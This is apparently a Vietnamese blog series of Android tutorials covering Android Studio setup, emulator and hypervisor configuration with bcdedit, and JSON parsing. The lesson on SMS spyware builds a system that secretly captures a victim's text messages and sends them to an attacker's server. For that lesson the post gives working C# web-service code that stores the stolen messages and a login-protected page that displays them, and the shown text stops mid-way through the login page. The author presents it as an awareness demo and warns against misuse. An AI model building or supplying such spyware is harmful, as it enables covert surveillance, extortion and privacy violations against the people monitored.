android_61_25– Cũng tương tự như việc gợi ý sửa lỗi trong Android Studio chính là gõ tổ hợp phím Alt+Enter (bên Eclipse cũ là Ctrl+1). Vậy bạn chú ý là muốn xem gợi ý sửa lỗi nhanh thì nên gõ Alt+Enter (ta thường dùng nhiều nhất trong trường hợp Tự động Ép Kiểu , Tự động Import thư viện và tự động implement các Abstract method).

– Tới đây  là bạn đã thực hiện được việc đọc JSon từ internet và đưa nó về Java class phục vụ cho các mục đích khác.

– Bài tiếp theo Tui sẽ hướng dẫn các bạn cách chuyển JSon có định dạng phức tạp (đối tượng chứa đối tượng, đối tượng chứa danh sách đối tượng…) về Java class

– Các bạn có thể tải source code mẫu của bài này ở đây: http://www.mediafire.com/download/t4kp87nh57y8nnx/FaceBookTool.rar

– Chúc các bạn thành công!

Bài 60: Cấu hình Hardware Accelerated Execution để chạy máy ảo Android 5.0


bài tập 59 các bạn đã biết cách tạo cũng như sử dụng được Android Studio Project và cách tạo Android Virtual Device, tuy nhiên chạy với API<21. Đối với Android 5.0 sử dụng API 21 trở lên nó yêu cầu PC phải hỗ trợ ảo hóa và có cài đặt Hardware Accelerated.

– Nếu như Mainboard PC của bạn không hỗ trợ Ảo Hóa hoặc nếu có hỗ trợ mà chưa có Hardware Accelerated thì khi chạy Máy Ảo Android với bản API 21 trở lên bạn sẽ gặp lỗi sau:

android_60_0Từ màn hình Android Virtual Device Manager, chọn Máy Ảo API 21 như hình trên, bấm nút Start, bạn sẽ gặp lỗi như hình dưới đây:

android_60_1– Để sửa được lỗi trên ta làm theo các bước sau:

Bước 1) Kiểm tra xem Main Board của bạn có hỗ trợ Công Nghệ Ảo Hóa hay không?

– Tùy thuộc vào từng dòng máy tính của bạn mà cách kiểm tra trong Bios có Công Nghệ Ảo Hóa hay không, nếu có hỗ trợ bạn cần enable nó lên. Tui đưa một số hình ảnh dưới đây, tùy vào máy tính của bạn mà màn hình Main Board sẽ khác nhau, bạn tự mò tới Ảo Hóa và bận lên:

android_60_17

android_60_18

android_60_19

Hoặc bạn dùng công cụ có giao diện của Intel để xác định nó đã được enable hay chưa:

– Bạn vào link sau: http://www.intel.com/p/en_US/support/highlights/processors/toolspiu

android_60_13Bạn tải nó về và chạy lên:

android_60_20Bước 2) Cài đặt Hardware Accelerated Execution

android_60_2Bạn mở Android SDK Manager lên/ tìm tới Extras ở dưới cùng, tiến hành tải”Intel x86 Emulator Accelerator (HAXM installer)“.

Sau khi tải xong bạn vào thư mục SDK đã cài đặt Android Studio (do bạn cài đặt):

android_60_3Bạn tiến hành cài đặt intelhaxm-android.exe

android_60_3_1Sau khi cài đặt xong bạn vào Control panel để kiểm tra:

android_60_4Nếu có như trên là đã cài đặt thành công.

Bước 3) Sử dụng công cụ bcdedit để thiết lập thông số cho nxhypervisorlaunchtype

– Mở command line với chế độ Administrator:

android_60_5Màn hình commandline ở chế độ Administrator sẽ hiển thị ra như dưới đây:

android_60_6Tại dấu nhắc lệnh bạn gõ lệnh bcdedit

Ta được kết quả hiện thị ra như sau:

android_60_8Hoặc:

android_60_7Hoặc:

android_60_12Trong 3 kết quả của bcdedit liệt kê thì chỉ có trường hợp cuối cùng là có thể chạy được Android Emulator 5.0

———————————————–

Tức là chế độ:

nx       AlwaysOn

hypervisorlaunchtype   Off

———————————————–

Nếu bạn không nhận được kết quả như trường hợp cuối cùng thì không thể chạy được, vậy làm sao để thiết lập?

Và bạn chú ý rằng nếu bạn muốn lập trình đồng thời Android 5.0 với Windows Phone hay cài đặt VMWare lại không được, nó không cho sống chung, lý do là mỗi một nền tảng chạy lên nó sẽ chiếm hết tài nguyên không cho nền tảng khác chạy.

Do đó nếu như bạn đã chuyên qua:

nx       AlwaysOn

hypervisorlaunchtype   Off

Thì chỉ có thể lập trình Android chứ không lập trình Windows Phone được.

Do đó muốn lập trình Windows Phone bạn phải thiết lập lại thông số:

———————————————–

nx       AlwaysOn

hypervisorlaunchtype   Auto

———————————————–

Mỗi lần chuyển giá trị đều phải khởi động lại máy nhé.

Ví dụ Ta muốn cấu hình cho phép lập trình Windows Phone thì dùng lệnh sau:

android_60_9————————————————————————-

ở trên Tui bật nx lên alwayson.

bcdedit   /set   nx   alwayson

và bật hypervisorlaunchtype   auto

bcdedit    /set   hypervisorlaunchtype    auto

————————————————————————-

-Ví dụ Ta muốn cấu hình cho phép lập trình Android thì dùng lệnh sau:

android_60_16Vậy chú ý nếu muốn lập trình Android phải theo lệnh sau:

————————————————————————-

ở trên Tui bật nx lên alwayson.

bcdedit   /set   nx   alwayson

và bật hypervisorlaunchtype   off

bcdedit    /set   hypervisorlaunchtype    Off

————————————————————————-

Nhắc lại là mỗi lần thay đổi giá trị trong bcdedit đều phải khởi động lại máy.

Vậy tới đây là bạn có thể lập trình được với Android 5.0 (API 21 trở lên) rồi nhé.

Ta thử lại bước chạy Máy ảo sẽ có kết quả như sau:

android_60_15RAM của bạn cần phải lớn, thường 8GB trở lên mới có thể tải nổi. Còn yếu thì nên sử dụng API 19 và độ phân giải thấp là được rồi, vì hiện nay chưa quá 1% thiết bị sử dụng API 21, mà có tới hơn 90% thiết bị sử dụng API 19.

Vậy là các bạn đã biết cấu hình để chạy Android Emulator 5.0 (API 21)

Chúc các bạn thành công!

Bài 59: Làm quen với môi trường lập trình Android Studio – Phần 2


Trong bài 58 Tui đã hướng dẫn các bạn cách cài đặt Android Studio chính thống giáo của hãng Google, trong bài này Tui sẽ trình bày các nội dung sau:

—————————————————————————-

1) Cách tạo một Project trong Android Studio.

2) Cấu trúc một Project trong Android Studio

3) Các chức năng quan trọng thường dùng trong Android Studio

4) Cách tạo và sử dụng Android Emulator trong Android Studio

5) Quy trình thực thi một phần mềm lên thiết bị (thật, emulator) trong Android Studio.

—————————————————————————-

1) Cách tạo một Project trong Android Studio.

– Khởi động Android Studio/ chọn Start a new Android Studio project như hình dưới đây:

android_59_1– Màn hình Create New Project sẽ hiển thị ra, nhập đúng thông tin rồi bấm Next:

android_59_2

-Application Name: Tên Ứng dụng muốn đặt

-Company Domain: Tên domain công ty, thường được dùng để kết hợp với tên Application để tạo thành Package (chú ý viết thường hết và có ít nhất 1 dấu chấm).

-Package name: Nó sẽ tự động nối ngược Company Domain với Application name.

-Project location: Là nơi lưu trữ ứng dụng.

Sau khi nhập thông tin chính xác, ta nhấn nút Next thì xuất hiện màn hình cấu hình Target Android Devices như dưới đây (Bạn hiểu nôm na là cấu hình thiết bị mục tiêu mà ứng dụng Support tốt nhất):

android_59_3Hiện nay bản API14 Android 4.0 (IceCreamSandwich) vẫn đứng đầu về số lượng thiết bị sử dụng chiếm tới hơn 90%) nên ta thường hỗ trợ tối đa (để bán được nhiều sản phẩm).

Ta có thể xổ danh sách ra để xem các API hỗ trợ (dĩ nhiên ta phải chọn API phù hợp nhất):

android_59_4– Sau khi bấm Next, màn hình tiếp theo hiển thị cho phép chọn loại Activity mặc định:

android_59_5Ta chon Blank Activity rồi bấm Next:

– Màn hình hiệu chỉnh Activity xuất hiện:

android_59_6Thường nếu bắt đầu new project, ta để mặc định không chỉnh sửa activity_main như trên rồi bấm finish.

Activity Name: Tên class Activity (java) để ta viết mã lệnh

Layout Name: Tên file XML làm giao diện cho Activity Name.

Title: Tiêu đề hiển thị khi kích hoạt Activity trên thiết bị.

Menu Resource Name: Tên file xml để tạo menu cho phần mềm.

Sau khi cấu hình xong, ta bấm Finish, Màn hình Build Gradle project hiển thị:

android_59_7– Khi build xong mặc định ta có màn hình dưới đây:

android_59_8Ở màn hình trên ta sẽ được Android Studio hướng dẫn:

– Tìm kiếm: Nhấn 2 lần phím Shift liên tục

– Để xem project: Nhấn tổ hợp phím tắt ALT+1

-Để mở 1 file : Nhấn tổ hợp phím tắt Ctrl+ shift+N

-Để mở các file trước đó: Nhấn tổ hợp phím Ctrl+E

2) Cấu trúc một Project trong Android Studio

–> Ta tiến hành mở Project mặc, định activity_main.xml sẽ được chọn ta có màn hình như sau:

android_59_9– Ở trên tạm thời Tui chia làm 6 vùng làm việc mà lập trình viên chúng ta thường tương tác. Tui sẽ giải thích kỹ từng vùng để các bạn nắm rõ.

Vùng 1:

Là nơi cấu trúc hệ thống thông tin của Ứng dụng, Ta có thể thay đổi cấu trúc hiển thị (thường để mặc định là Android)

android_59_26Ta quan sát khi chọn vào nhóm góc trái trên cùng của vùng số 1, có nhiều lựa chọn hiển thị, giả sử bây giờ Tui chuyển từ Android qua Packages:

android_59_27Giờ quay trở lại chế độ Android:

android_59_28Bạn có thể thấy AndroidManifest.xml nằm ở đây. File này vô cùng quan trọng trong việc cấu hình ứng dụng.

Các thư mục Resource (res): drawable, layout, menu… đã được giải thích kỹ và nó giống y xì bên Eclipse nên Tui không nói lại.

Vùng 2:

Là vùng khá quan trọng cho những bạn mới bắt đầu lập trình, nó là nơi hiển thị các Control mà Android hỗ trợ, cho phép bạn kéo thả trực tiếp vào vùng 3 (Giao Diện Thiết Bị) để thiết kế.

android_59_29Ở vùng số 2 này nó có 2 tab: Design Text ở góc trái dưới cùng.

Tab Design là tab mà bạn đang nhìn và thao tác với nó (cho phép thiết kế giao diện bằng cách kéo thả.

Tab Text là tab cho phép ta thiết kế giao diện bằng viết Tag XML:

android_59_30Vùng 3:

Là vùng giao diện thiết bị, cho phép các Control kéo thả vào đây và đồng thời cho chúng ta hiểu chính control.

android_59_31Vùng 3 ta có thể chọn cách hiển thị theo nằm ngang nằm đứng,  phóng to thu nhỏ, căn chỉ control, lựa chọn loại thiết bị hiển thị….

Vùng 4:

Khi màn hình của bạn có nhiều control thì vùng 4 này trở lên hữu ích, nó cho phép hiển thị giao diện theo dạng cấu trúc Cây, nên bạn dễ dàng quan sát và lựa chọn control khi chúng bị chồng lập trên giao diện (vùng 3).

android_59_32Vùng 5:

Vùng này rất quan trọng, đây là vùng cho phép thiết lập trạng thái hay thuộc tính cho các Control trên giao diện.

android_59_33Cách thiết lập các giá trị cho các thuộc tính đã được nói ở eclipse và cũng dễ sử dụng nên Tui không nói lại.

3) Các chức năng quan trọng thường dùng trong Android Studio

Vùng 6:

Là vùng rất tiện lợi giúp ta thao tác nhanh chóng:

– Chạy ứng dụng và Debug ứng dụng:

android_59_34– Quản lý máy ảo (AVD Manager)

android_59_37– Quản lý Android SDK Manager (thường dùng để cập nhật)

android_59_35– Quản lý Android Device Manager

android_59_36Cách sử dụng đã trình bày ở Eclipse và giống nhau, Tui không nói lại.

4) Cách tạo và sử dụng Android Emulator trong Android Studio

Để chạy phần mềm Android Studio ta có nhiều cách:

– Nhấn biểu tượng Run trên thanh Toolbar

– Vào menu Run/Run ‘App’ (nhấn Shift + F10)

– Vào menu Run/Run (nhấn Alt + Shift + F10)

– Bây giờ ta thực thi HelloWorldAndroidStudio:

– Trong trường hợp có kết nối tới thiết bị thật, Android Studio sẽ hiển thị ngay thiết bị thật cho ta lựa chọn: android_59_10

Ta chọn thiết bị thật rồi nhấn nút OK, Ta xem kết quả:

android_59_11– Nếu chưa kết nối tới thiết bị thật (không có máy thật), và cũng chưa có kích hoạt máy ảo thì ta phải tạo máy ảo, lúc chạy lên hệ thống bắt ta làm điều này (nếu nó chưa nhận dạng được thiết bị nào):

android_59_12– Ở màn hình trên ta chọn Launch Emulator:

+ Ở mục 1 cho phép ta xem danh sách Emulator đã được tạo trước (nếu có)

+ Ở mục 2 nếu ta không muốn chọn Emulator trước đó mà muốn tạo mới thì bấm vào cấu hình xong nhấn OK, màn hình Android Virtual Device Manager sẽ xuất hiện:

android_59_13Ta bấm vào Start để kích hoạt máy ảo, nếu không muốn thì bấm vào create Virtual Device để tạo máy ảo mới. Bạn chú ý là nếu máy bạn không hỗ trợ ảo hóa thì tốt nhất sử dụng API 19 trở xuống, còn nếu cố gắng chọn 21 chắc chắn nó không cho chạy (phải biết cách cấu hình, Tui sẽ hướng dẫn ở bài sau).

– Nếu bấm vào Create Virtual Device:

Màn hình Select Hardware sẽ hiển thị:

android_59_14– Nên chọn độ phân giải nhỏ để không tốn bộ nhớ nhiều (mục 1)

– Sau đó nhấn Next ở mục 2. Tiến hành chọn System Image:

android_59_15Bạn cần chọn API để tạo máy ảo, nếu tải thì rất mất thời gian, Tui đưa ra 1 “Mẹo” giúp các bạn không phải tải về nếu như trước đó đa đang sử dụng bên Eclipse cũ: Đó là chép thư mục “android-19” hay bất kỳ gói API nào có trong 2 thư mục của Eclipse thường đó là thư mục platformssystem-images vào SDK của Android Studio mà bạn đã cài đặt.

Tiếp theo  bấm Next:

android_59_20Để cấu hình nâng cao chon Show Advanced Settings:

android_59_21Bấm Finish:

android_59_22Bạn bấm Start và chờ cho Emulator kích hoạt như hình:

android_59_24Sau đó quay trở lại màn hình chọn máy ảo thì ta mới thấy nó hiển thị ở đây:

android_59_23Ta thấy Máy ảo hiển thị ra như trên, tiến hành chọn rồi nhấn nút OK.

Ta được kết quả như sau:

android_59_25Như vậy tới đây bạn đã chạy được Ứng dụng trên cả máy thật và máy ảo.

5) Quy trình thực thi một phần mềm lên thiết bị (thật, emulator) trong Android Studio.

Quy trình để chạy được 1 ứng dụng như trên là gì?

Bước 1: Biên dịch và đóng gói ứng dụng thành file APK.

Bước 2: Hệ thống tiến hành tìm Thiết bị (thật, ảo)

Bước 3: Nếu tìm được thiết bị, tiến hành tải APK ở bước 1 vào Remote Path /data/local/tmp/com.tranduythanh.helloandroidstudio

Bước 4: Tiến hành cài đặt ứng dụng vào thiết bị nếu bước 3 tải thành công, hệ thống dùng lệnh sau để cài đặt:

DEVICE SHELL COMMAND: pm install -r “/data/local/tmp/com.tranduythanh.helloandroidstudio”
pkg: /data/local/tmp/com.tranduythanh.helloandroidstudio

Bước 5: Nếu cài đặt thành công tiến hành kích hoạt Ứng dụng để chạy

Tìm trong AndroidManifest, Activity nào được thiết lập ACTION MAIN sẽ được thực hiện.

Hệ thống dùng lệnh:

DEVICE SHELL COMMAND: am start -n “com.tranduythanh.helloandroidstudio/com.tranduythanh.helloandroidstudio.MainActivity” -a android.intent.action.MAIN -c android.intent.category.LAUNCHER

Khi khởi động thành công sẽ có thông báo:

Starting: Intent { act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] cmp=com.tranduythanh.helloandroidstudio/.MainActivity }

——————————————————————–

– Vậy bạn đã biết tạo 1 Project, hiểu được cấu trúc thành phần của Android, biết cách sử dụng Máy Ảo và các chức năng quan trọng thường dùng, cuối cùng là quy trình để kích hoạt 1 ứng dụng Android lên thiết bị sảy ra như thế nào.

– Trong bài tiếp theo Tui sẽ hướng dẫn các bạn cách xử lý cho phép chạy ứng dụng với API 21 trở lên (có sử dụng chức năng ảo hóa Nếu Main PC của bạn có support, còn MAIN không support thì không thể dùng). Vì nó bị xung đột với HyPer-V khi bạn lập trình Windows Phone, hay sử dụng VMWare, Virtualbox….

– Chúc bạn thành công.

Bài 58: Làm quen với môi trường lập trình Android Studio – Phần 1


Như chúng ta đã biết hiện nay hãng Google đã release bản Android Studio thay thế cho bản Eclipse cũ, khi ta vào link http://developer.android.com/sdk/index.html để tải thì không còn thấy xuất hiện bản cũ nữa mà được thay thế bởi Android Studio.

Như vậy ông lớn Google đã nối gót ông lớn Microsoft để tự tạo ra bộ công cụ lập trình chuẩn riêng. Với Android Studio thì giao diện và đặc biệt là sự biến mất WorkSpace có đôi chút gây khó khăn cho lập trình viên khi mới bắt đầu chuyển qua công cụ này, cũng rất may là Google hỗ trợ tính năng Import Project từ Eclipse cũ qua được Android Studio và logic lập trình cũng tương tự, không khác nhau mấy.

Khi bạn tải Android Studio về thì nó sẽ bao gồm các thành phần sau:

  • Android Studio IDE
  • Android SDK tools
  • Android 5.0 (Lollipop) Platform
  • Android 5.0 emulator system image with Google APIs

Với bản Emulator cho Android 5.0 thì máy tính của lập trình viên phải hỗ trợ tính năng Ảo Hóa và phải cài đặt thêm Hardware Accelerated Execution Manager. Và dĩ nhiên nếu như bạn vừa đồng thời lập trình Windows Phone 8, 8.1 thì có thể sảy ra rắc rối khi bạn kích hoạt Hyper-V (Bạn phải  biết cách sử dụng lệnh để chuyển đổi qua lại khi bạn thay đổi lập trình Android qua Windows phone và ngược lại, dĩ nhiên phải khởi động lại máy, Tui sẽ hướng dẫn cách gõ lệnh thực hiện đều trên ở bài tiếp theo).

Khi bạn vào http://developer.android.com/sdk/index.html, bạn chọn “Download Android Studio for Windows” như hình dưới đây:

android_58_1Bạn copy link chuyển qua IDM để tải cho lẹ (https://dl.google.com/dl/android/studio/install/1.0.1/android-studio-bundle-135.1641136.exe) dung lượng gần 850MB. (Version mới : https://dl.google.com/dl/android/studio/install/1.1.0/android-studio-bundle-135.1740770-windows.exe)

– Một số yêu cầu cấu hình lưu ý trước khi cài đặt:

  • Microsoft® Windows® 8/7/Vista/2003 (32 or 64-bit)
  • Tối thiểu 2 GB RAM hoặc 4 GB RAM, Tui nghĩ càng nhiều càng tốt. 4GB RAM thì cũng có thể gây cho ta một giấc ngủ dài khi ngồi Debug
  • 400 MB hard disk space + ít nhất 1 G cho Android SDK, emulator system images và caches
  • Độ phân giải tối thiếu 1280 x 800
  • Java Development Kit (JDK) 7 trở lên (giờ có bản 8 rồi nên bạn sử dụng luôn – Tui đang sài)
  • Lựa chọn thêm cho accelerated emulator: Intel® processor with support for Intel® VT-x, Intel® EM64T (Intel® 64), and Execute Disable (XD) Bit functionality

Trong phần này Tui sẽ hướng dẫn các bạn cách thức cài đặt Android Studio (dĩ nhiên bạn phải cài trước JDK):

Bước 1:

Sau khi tải về máy thành công, bạn double click vào tập tin “android-studio-bundle-135.1641136.exe

android_58_2Màn hình Welcome to Setup Android Studio sẽ xuất hiện:

android_58_4Ta bấm Next để qua bước 2.

Bước 2:

Màn hình chọn các thành phần cài đặt

android_58_5Ở bước này ta thấy rằng Android Studio yêu cầu tối thiểu gần 4GB để lưu trữ, ta chọn cấu hình như trên rồi bấm Next để qua bước 3.

Bước 3:

Bước đọc xác nhận bản quyền và một số ràng buộc liên quan tới mã nguồn mở.

android_58_6Nếu bạn rảnh thì có thể kéo xuống để đọc cho hết các mô tả sau đó nhấn nút “I Agree” để qua bước 4.

Bước 4:

Cấu hình chọn lựa nơi cài đặt Android Studio.

android_58_7Tui nghĩ rằng ở bước này bạn nên để mặc định không tỏ vẻ nguy hiểm chọn lung tung kẻo sai cấu hình, nhấn Next để qua bước 5.

Bước 5:

Bước chọn Start Menu folder

android_58_8Ở bước này bạn cũng để mặc định, đừng thay đổi gì cả rồi nhấn nút Install để tiến hành cài đặt

Bước 6:

Chờ hệ thống cài đặt phần mềm Android Studio

android_58_9Bạn phải ngồi canh xem nó có báo thiếu thốn hay lỗi gì không, đợi cho tới khi nó báo complete như màn hình dưới đây:

android_58_10Bấm Next để qua màn hình tiếp theo (màn hình xác nhận kết thúc):

android_58_11Nếu bạn checked “Start Android Studio” rồi bấm Finish thì hệ thống sẽ khởi động luôn phần mềm Android Studio cho bạn:

android_58_12Ở màn hình trên lần đầu tiên bạn sẽ chờ hơi lâu một chút, trong quá trình khởi động nó sẽ ra màn hình sau:

android_58_13Nó hiển thị màn hình trên có thể do trước khi hãng Google Release bản này Tui có lập trình thử với bản Beta, bạn chọn cấu hình phù hợp rồi nhấn nút OK, hệ thống tiếp tục chạy….

android_58_14… bạn chờ cho hệ thống chạy hoàn tất, thường nếu lần đầu bạn sử dụng thì nó sẽ bắt tải tùm lum thứ cho đủ

android_58_15chờ nó tải xong (hơi lâu đó nha):

android_58_16Khi xong thì bạn nhấn nút Finish:

android_58_17Ở trên là màn hình bắt đầu lựa chọn tạo Project, mở project, Import project hay các cấu hình khác….

Bạn tới được màn hình này coi như bạn đã hoàn tất phần 1 – Cài đặt Android Studio.

Các lần sau bạn khởi động sẽ rất nhanh, Android Studio sẽ tự động mở ra màn hình cuối cùng này.

Bạn chú ý kiểm tra cấu hình máy và tiến hành cài đặt Android Studio để chuẩn bị cho những bài hướng dẫn kế tiếp về Android sẽ sử dụng bản Release mới này.

Chúc các bạn thành công.

Bài 57: Xây dựng phần mềm nghe trộm Tin Nhắn trong Android


Hiện nay có rất nhiều phần mềm cài cắm sẵn những đoạn mã có thể nghe lén được thông tin của người sử dụng. Nhưng thường người sử dụng lại ít khi quan tâm, nó thực sự nguy hiểm.

Tui dám chắc nếu như các bạn tải phần mềm từ store hay từ đâu đó về cài vào máy thì bạn chả thèm đọc những thông số cấu hình cũng như yêu chức năng nào đó… bạn cứ thế phang từ đầu chí cuối : Next, next, … and finish…. và kết thúc luôn cuộc sống riêng tư của bạn….

Trong bài viết này Tui muốn demo một phần mềm chạy ngầm nho nhỏ về việc Nghe Trộm Tin Nhắn trong Android, để mọi người cẩn thận khi tải các phần mềm miễn phí có tương tác SMS, internet…. tránh được những rắc rối về sau. Các bạn không được áp dụng nó để cài cắm hay theo dõi ai, vì mục đích của Tui là muốn demo việc cài cắm phần mềm nghe lén nó dễ dàng như thế nào và mọi tin nhắn ta bị người khác đọc hết ra sao… để ta cẩn trọng hơn chứ không phải áp dụng vào việc nghe lén người khác. Nếu bạn nào có ý định viết coding nghe lén ai đó thì xin đừng vào blog này để học.

Tui sẽ đưa ra mô hình cũng như cách thức hoạt động của phần mềm Spyware SMS này như sau:

android_57_2

Mô hình trên Tui đánh thứ tự từ 1->4:

Số 1: Là bất kỳ một điện thoại nào đó muốn gửi tin nhắn cho số 2.

Số 2: Là nạn nhân đang bị cài phần mềm gián điệp nghe lén SMS. Phần mềm này có thể sử dụng nhiều chiêu thức, ở đây Tui ví dụ sử dụng BroadCast Receiver để tự động bắt gói tin SMS và sau đó gửi lên SERVER SPYWARE thông qua Web service.

 Số 3: Là Server SPYWARE do ai đó có ý đồ xây dựng để nhận thông tin gửi về từ phần mềm gián điệp sau đó nó sẽ lưu vào cơ sở dữ liệu (số 4) để phục vụ cho các ý đồ không tốt khác.

Số 4: Là Cơ sở dữ liệu được họ xây dựng để lưu lại toàn bộ thông tin trao đổi giữa nạn nhận với các đối tác, họ lưu vào CSDL để phục vụ cho các ý đồ theo sau đó như: Bán thông tin cho Công ty đối thủ, quấy rối, Tống tiền cũng như các mục đích xấu khác ….

Nếu như bạn chỉ là một người dân bình thường, mọi tin nhắn là vô thưởng vô phạt… ví dụ như “Em ăn cơm chưa”, “Em ngủ chưa”, “Em còn sống hay nhăn răng rồi…”, “Em làm gì kệ xác em chứ…” thì chả có ý nghĩa gì với phần mềm gián điệp. Nhưng Tui giả sử bạn là một người của CÔNG CHÚNG (một ca sĩ nổi tiếng, một MC truyền hình nổi tiếng, 1 chính trị gia xuất chúng)., hay một Tổng giám đốc một công ty lớn… Mọi trao đổi thông tin của bạn với đối tác, với người hâm mộ… Nếu như bị người xấu biết được thì làm sao nhỉ? chết chắc chứ con gì…. Giả sử bạn là 1 Giám Đốc, bạn có tin nhắn của Đối Tác cần ký một hợp đồng quan trọng… tự nhiên bị Đối Thủ biết được thì sẽ như thế nào? Phá sản ư? có thể đấy chứ….. Hay là “các” bà Vợ của bạn thường hay nghi ngờ bạn lăng nhăng, họ ngấm ngầm cài phần mềm gián điệp để theo dõi bạn, nếu biết bạn đang có âm mưu lừa ai đó …. Tui nghĩ để Vợ biết được chắc bạn phải học Tịnh Tà Kiếm Phổ suốt đời.

———————————————————————

Sau đây là các bước tiến hành:

– Chú ý CSDL và Web project bạn cấu hình trên somee.com để test (hoặc nếu bạn có Host riêng thì tự làm trên Host của bạn). Cách sử dụng somee.com bạn xem lại các bài hướng dẫn trước (phần Webservice).

1) Xây dựng CSDL với tên dbSpywareSMSApp:

android_57_6Ở đây Tui tạo 2 bảng đơn giản:

– Bảng Account nhằm mục đích đăng nhập hệ thống để quản lý các tin nhắn SMS Spyware gửi về: Gồm có user name và mật khẩu (dĩ nhiên Tui chưa có băm mật khẩu, bạn tự viết coding băm)

– Bảng SMSSpyware, nó có 3 cột. Tui để phonenumber và timestamp (thời gian nhận tin) làm khóa chính. body là nội dung tin nhắn.

2) Xây dựng Web project (SpywareSMSServerApp):

android_57_7– dbSpywareSMSApp.dbml: Bạn kéo LINQ để sử dụng (xem lại các bài hướng dẫn trước):

android_57_8Mở cửa sổ Server Explorer trong Visual Studio/ chọn biểu tượng Connect/ kết nối CSDL mong muốn/ rồi kéo thả vào như hình trên.

SmsExtraInfo: Lớp đặc tả lại cho tin nhắn SMS vì do timestamp được nhận là kiểu long, ở đây ta sửa lại cho nó ra ngày tháng năm theo định dạng nào đó (chuỗi)

WebService1.asmx: Web service cung cấp 2 dịch vụ:

+ public bool LuuSmsChomDuoc(string phoneNumber, string timeStamp, string body)

–> dịch vụ này dùng để cho phần mềm gián điệp đọc thông tin SMS và gửi lên SERVER SPYWARE–> đẩy xuống CSDL

+  public SmsExtraInfo[] DocToanBoTinNhanChomDuoc()

–> Dịch vụ này truy vấn toàn bộ SMS đọc tự CSDL do dịch vụ saveSMSSpyWare lưu xuống.

+ Default.aspx: Website hiển thị toàn bộ SMS đọc lén được thông qua dịch vụ DocToanBoTinNhanChomDuoc. chú ý nếu chưa đăng nhập sẽ tự động quay lại trang login.aspx.

+ login.aspx: Trang yêu cầu đăng nhập hệ thống, đăng nhập thành công mới cho vào trang Default.aspx

Chi tiết:

source code SmsExtraInfo:


using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;

namespace SpywareSMSServerApp
{
[Serializable]
public class SmsExtraInfo
{
public string PhoneNumber { get; set; }
public string TimeStamp { get; set; }
public string Body { get; set; }
}
}

Source code WebService1:


using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Services;

namespace SpywareSMSServerApp
{
    /// <summary>
    /// Summary description for WebService1
    /// </summary>
    [WebService(Namespace = "http://tranduythanh.com/")]
    [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)]
    [System.ComponentModel.ToolboxItem(false)]
    // To allow this Web Service to be called from script, using ASP.NET AJAX, uncomment the following line.
    // [System.Web.Script.Services.ScriptService]
    public class WebService1 : System.Web.Services.WebService
    {

        [WebMethod]
        public string HelloWorld()
        {
            return "Hello World";
        }
        [WebMethod]
        public bool LuuSmsChomDuoc
            (string phoneNumber, string timeStamp, string body)
        {
            dbSpywareSMSAppDataContext db = new dbSpywareSMSAppDataContext();
            SMSSpyware smsChom = db.SMSSpywares.
                FirstOrDefault(x => x.phonenumber == phoneNumber
                    && x.timestamp == timeStamp);
            //nếu tin này =null thì ta mới lưu
            //bằng null tức là chưa tồn tại trong SERVER SPYWARE
            if (smsChom == null)
            {
                try
                {
                    smsChom = new SMSSpyware();
                    smsChom.phonenumber = phoneNumber;
                    smsChom.timestamp = timeStamp;
                    smsChom.body = body;
                    db.SMSSpywares.InsertOnSubmit(smsChom);
                    db.SubmitChanges();
                    return true;
                }
                catch
                {
                 
                }                
            }
            return false;
        }
        //hàm chuyển timestamp trong java qua .net
        public static DateTime JavaTimeStampToDateTime(double javaTimeStamp)
        {
            // Java timestamp is millisecods past epoch
            System.DateTime dtDateTime = new DateTime(1970, 1, 1, 0, 0, 0, 0, System.DateTimeKind.Utc);
            dtDateTime = dtDateTime.AddSeconds(Math.Round(javaTimeStamp / 1000)).ToLocalTime();
            return dtDateTime;
        }
        [WebMethod]
        public SmsExtraInfo[] DocToanBoTinNhanChomDuoc()

        {

            dbSpywareSMSAppDataContext db = new dbSpywareSMSAppDataContext();
            List<SMSSpyware> dsSMS = db.SMSSpywares.ToList();
            List<SmsExtraInfo> dsDisplay = new List<SmsExtraInfo>();
            foreach (SMSSpyware sms in dsSMS)
            {
                SmsExtraInfo infor = new SmsExtraInfo();
                infor.Body = sms.body;
                long l=long.Parse(sms.timestamp);
                DateTime d = JavaTimeStampToDateTime(l);
                infor.TimeStamp = d.ToLongDateString();
                infor.PhoneNumber = sms.phonenumber;
                dsDisplay.Add(infor);
                
            }
            return dsDisplay.ToArray();
        }
        [WebMethod]
        public Account DangNhap(string userName, string passWord)
        {
            dbSpywareSMSAppDataContext db = new dbSpywareSMSAppDataContext();
            Account ac = db.Accounts.FirstOrDefault
                (x => x.username == userName && x.password == passWord);
            return ac;
        }
    }
}

Bạn chú ý ở trên có đoạn coding chuyển TimeStamp từ Android qua DateTime trong asp.net.

Bạn có thể nối thêm ToLongTimeString để nó có đầy đủ giờ phút giây…

infor.TimeStamp = d.ToLongDateString()+”;”+d.ToLongTimeString();

Source Design Default.aspx:

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Default.aspx.cs" Inherits="SpywareSMSServerApp.Default" %>

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
    <title></title>
    <meta http-equiv="refresh" content="10"/>
</head>
<body>
    <form id="form1" runat="server">
    <div>
    
        Danh sách tin nhắn chôm được:<br />
        <asp:GridView ID="GridView1" runat="server">
        </asp:GridView>
    
    </div>
    </form>
</body>
</html>

<meta http-equiv="refresh" content="10"/> 
cho phép tự động 10 giây tải lại website 1 lần.

Source coding behind Default.aspx.cs:


using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;

namespace SpywareSMSServerApp
{
public partial class Default : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (Session["AC"] == null)
{

//Chưa đăng nhập thì quay lại login
Response.Redirect("login.aspx");
}
else
{
WebService1 ws=new WebService1();
GridView1.DataSource = ws.DocToanBoTinNhanChomDuoc();
GridView1.DataBind();
}
}
}
}

Source design cho màn hình đăng nhập login.aspx:


<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Login.aspx.cs" Inherits="SpywareSMSServerApp.Login" %>

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
<style type="text/css">
.auto-style1 {
width: 100%;
}
</style>
</head>
<body>
<form id="form1" runat="server">
<table >
<tr>
